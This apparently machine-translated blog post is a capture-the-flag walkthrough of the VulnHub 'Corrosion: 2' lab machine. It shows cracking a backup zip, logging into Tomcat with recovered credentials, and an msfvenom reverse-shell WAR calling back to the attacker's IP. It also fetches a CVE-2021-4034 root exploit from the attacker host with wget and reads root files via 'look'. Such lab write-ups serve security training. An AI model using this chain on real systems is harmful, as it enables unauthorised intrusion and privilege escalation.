当前位置:网站首页>Vulnhub range - correlation:2
Vulnhub range - correlation:2
2022-06-25 19:13:00 【Czheisenberg】
Get ready
attack : kali
Drone aircraft : CORROSION: 2 NAT 192.168.91.0 Network segment
Download link :
https://www.vulnhub.com/entry/corrosion-2,745/

Information collection and utilization
The host found

Get the target as shown in the figure IP Address : 192.168.91.189
Port scanning
nmap -sV -O -p- -T4 -A 192.168.91.189 --oN corronsion_nmap.txt
As shown in the figure, it is open : 22,80(apache2 default),8080(tomcat) There are three ports , This shows that the target plane web page is composed of java constitute . According to what I have done before tomcat For the target , Get into manager backstage , And then upload war Package to bounce shell.
HTTP
Directory scanning
python3 dirsearch.py -u http://192.168.91.189:8080/
Suspicious documents
There's a lot of stuff coming out of the scan . among docs,examples These two are tomcat Included documentation and examples .
Let's take a look at readme.txt and backup.zip.
http://192.168.91.189:8080/readme.txt
One said to the , Gave a file that no one could find ( Farting ) Open this file with a password , So it means backup.zip file , Download it .
wget http://192.168.91.189:8080/backup.zip
unzip backup.zip
As shown in the figure, you really need a password
Password cracking
zip2john backup.zip > password_hash.txt
john --wordlist=/usr/share/wordlists/rockyou.txt password_hash.txt

Get the password as shown in the figure :@administrator_hi5, It's coming out soon .
Now decompress
unzip backup.zip
As shown in the figure, the decompression is successful , Many documents
After a search in tomcat-users.xml The user name and password are found at the bottom of the file :

manager:melehifokivai
admin:melehifokivai
Both of these user names can log in tomcat backstage , Log in with two browsers respectively .

Now that I have logged into the backstage , We try to upload a war Bao ran bounced back shell.
Make war Bao can read my previous blog
https://www.ohhhhhh.top/2021/12/29/web penetration ——My-Tomcat-HOST-1/
msfvenom -p java/jsp_shell_reverse_tcp LHOST=172.27.243.168 LPORT=4444 -f war > shell.war

kali Turn on nc monitor , And then upload ( take shell.war copy to win11 in )
nc -lvnp 4444



Fuck you 404, It seems that this method will not work .md
And then I found out msfconsole One of them can getshell The module of can be matched with the account and password .
use exploit/multi/http/tomcat_mgr_upload
Set the contents of the red box , The account and password have been obtained .
then ** run **

run after , Input shell Get into shell Suspicious to see is tomcat user .
python3 -c "import pty;pty.spawn(’/bin/bash’)"
Enter this command to get the standard terminal

flag 1
In the catalog /home/randy There is the first one in flag : user.txt

/home/randy/note.txt

well , Randy , This is your system administrator , I hope you have a nice day ! I just want you to know
I changed your permissions on the home directory . You are temporarily unable to delete or add files .
I will change these permissions later .
See you next Monday randy!
Check it out. /etc/passwd Users that can exist in 
Method 1
Find out jaye The user's password and manager The passwords of are the same : melehifokivai
find / -perm -u=s -type f 2>/dev/null
lookup have SUID The command of found a familiar : polkit-agent-helper-1 cve Number :
CVE-2021-4034
exp Connect :
https://github.com/berdav/CVE-2021-4034
I found there was no... On the target plane git command , But you can use wget replace , Finally, I found that there was no make command , Then you can't compile , But we can kali Will have compiled files , Download to the target , And then run , In the future, you will directly upload the compiled files .

Download the compiled file to the target :
wget http://172.27.243.168:8000/CVE-2021-4034.zip
Then decompress
unzip CVE-2021-4034.zip
Then enter CVE-2021-4034 Folder , function ./cve-2021-4034, If there is no accident, you will get root jurisdiction

As shown in the picture, I got root jurisdiction , At this point, it passed again CVE-2021-4034 Mention right to success , It is a loophole that has existed for more than ten years !!!
flag 2

Method 2
jaye:melehifokivai ssh After landing , In its home directory File There is look command , Unauthorized access to files :
./look ‘’ '/root/root.txt’
Read the second one directly as shown in the figure flag , If you submit directly in the competition flag You can score .
Method 3
Reference the big guy's blog :
https://www.cnblogs.com/sainet/p/15668420.html# Three rights
I failed the test here , Maybe it's me .
summary
- CVE-2021-4034
- look Unauthorized reading of files
- msfconsole use exploit/multi/http/tomcat_mgr_upload getshell
/sainet/p/15668420.html#%E4%B8%89%E6%8F%90%E6%9D%83)
I failed the test here , Maybe it's me .
summary
- CVE-2021-4034
- look Unauthorized reading of files
- msfconsole use exploit/multi/http/tomcat_mgr_upload getshell
边栏推荐
- Tiger Dao VC products are officially launched, a powerful supplement to seektiger ecology
- Leetcode-101-symmetric binary tree
- solidity 合约地址转钱包、钱包地址转合约
- PHP database connection version1.1
- Electronic basic project construction & communication between main thread and rendering thread
- 云上弹性高性能计算,支持生命科学产业高速发展、降本增效
- Tcp/ip test questions (4)
- Network security detection and prevention test questions (II)
- LeetCode-101-对称二叉树
- Solve the problem that sublime Text3 package control cannot install plug-ins
猜你喜欢

Does GoogleSEO need to change the friend chain? (e6zzseo)

为什么生命科学企业都在陆续上云?

LeetCode-78-子集

PHP Chinese regular

【C语言练习——打印上三角及其变形(带空格版)】

What is an operator?

Gbpnzd firm offer for 14 months, simulation for 19 months, test stable

Bloom filter
![Analysis on the development trend of China's intense pulsed light equipment industry in 2021: the market scale is growing, and the proportion of imported brands is large [figure]](/img/15/4477a850044136bb4b1ee92ab6df45.jpg)
Analysis on the development trend of China's intense pulsed light equipment industry in 2021: the market scale is growing, and the proportion of imported brands is large [figure]

On location and scale in CNN
随机推荐
QQ robot: self forbidden words management of group members [latest beta2 version]
LeetCode-78-子集
What is an operator?
如何快速关闭8080端口
solidity日期工具
Can GoogleSEO only do content without external chain? (e6zzseo)
QQ机器人闪照转发/撤回消息转发【最新beta2版本】
How to quickly close port 8080
Ali visual AI training camp -day05- creativity day - your image recognition project
Apifox简单了解——WEB端测试的集大成者
PHP database connection version1.1
electron 基础项目搭建 &&主线程和渲染线程的通信
Uncover ges super large scale graph computing engine hyg: Graph Segmentation
shell-跳出循环-shift参数左移-函数的使用
Analysis of China's road freight volume, market scale and competition pattern in 2020 [figure]
Android Development Notes - Quick Start (from sqllite to room licentiousness) 2
JVM | runtime data area (heap space)
Development status of China's hydrotalcite industry in 2020 and analysis of major enterprises: the market scale is rapidly increasing, and there is a large space for domestic substitution [figure]
Server journey from scratch - Yu Zhongxian integrated version (IP access server, LNMP compilation and installation, Lua environment and socket expansion)
Sorting out the latest data mining competition scheme!

